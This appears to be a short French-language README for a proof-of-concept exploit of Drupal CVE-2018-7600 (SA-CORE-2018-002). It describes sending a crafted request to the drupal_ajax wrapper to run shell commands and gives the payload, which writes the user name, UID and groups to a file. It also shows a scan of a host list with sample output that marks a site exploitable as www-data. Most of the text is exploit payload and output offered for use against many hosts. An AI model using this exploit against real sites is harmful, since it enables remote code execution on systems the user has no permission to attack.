
Preuve de concept pour Drupal CVE-2018-7600 / SA-CORE-2018-002
Drupal avant 7.58, 8.x avant 8.3.9, 8.4.x avant 8.4.6, et 8.5.x avant 8.5.1 permet à des attaquants distants d'exécuter du code arbitraire en raison d'un problème affectant plusieurs sous-systèmes avec des configurations de module par défaut ou courantes.
Il envoie un paquet au wrapper drupal_ajax pour enregistrer un utilisateur. Permet à l'utilisateur d'utiliser le markup exec et d'exécuter bash. Ce PoC envoie le nom d'utilisateur et l'UID vers abcde.txt.
echo Name: $(id -un) UID: $(id -u) Groups: $(id -Gn) | tee abcde.txt
Vérifie http*://example.com/abcde.txt
[!] PROVIDED ONLY FOR EDUCATIONAL OR INFORMATION PURPOSES.
[?] Enter file name (example: /root/file/hosts.txt): hosts.txt
[+] https://example.com/ Possibly exploitable
[~] Checking... https://example.com/abcde.text
[+] https://example.com/ Exploitable
[+] UID: 33 Name: www-data
[+] Deleting... https://example.com/abcde.text
%s = nom du fichier
Charge utile pour UID, PID et Groupe
echo Name: $(id -un) UID: $(id -u) Groups: $(id -Gn) | tee %s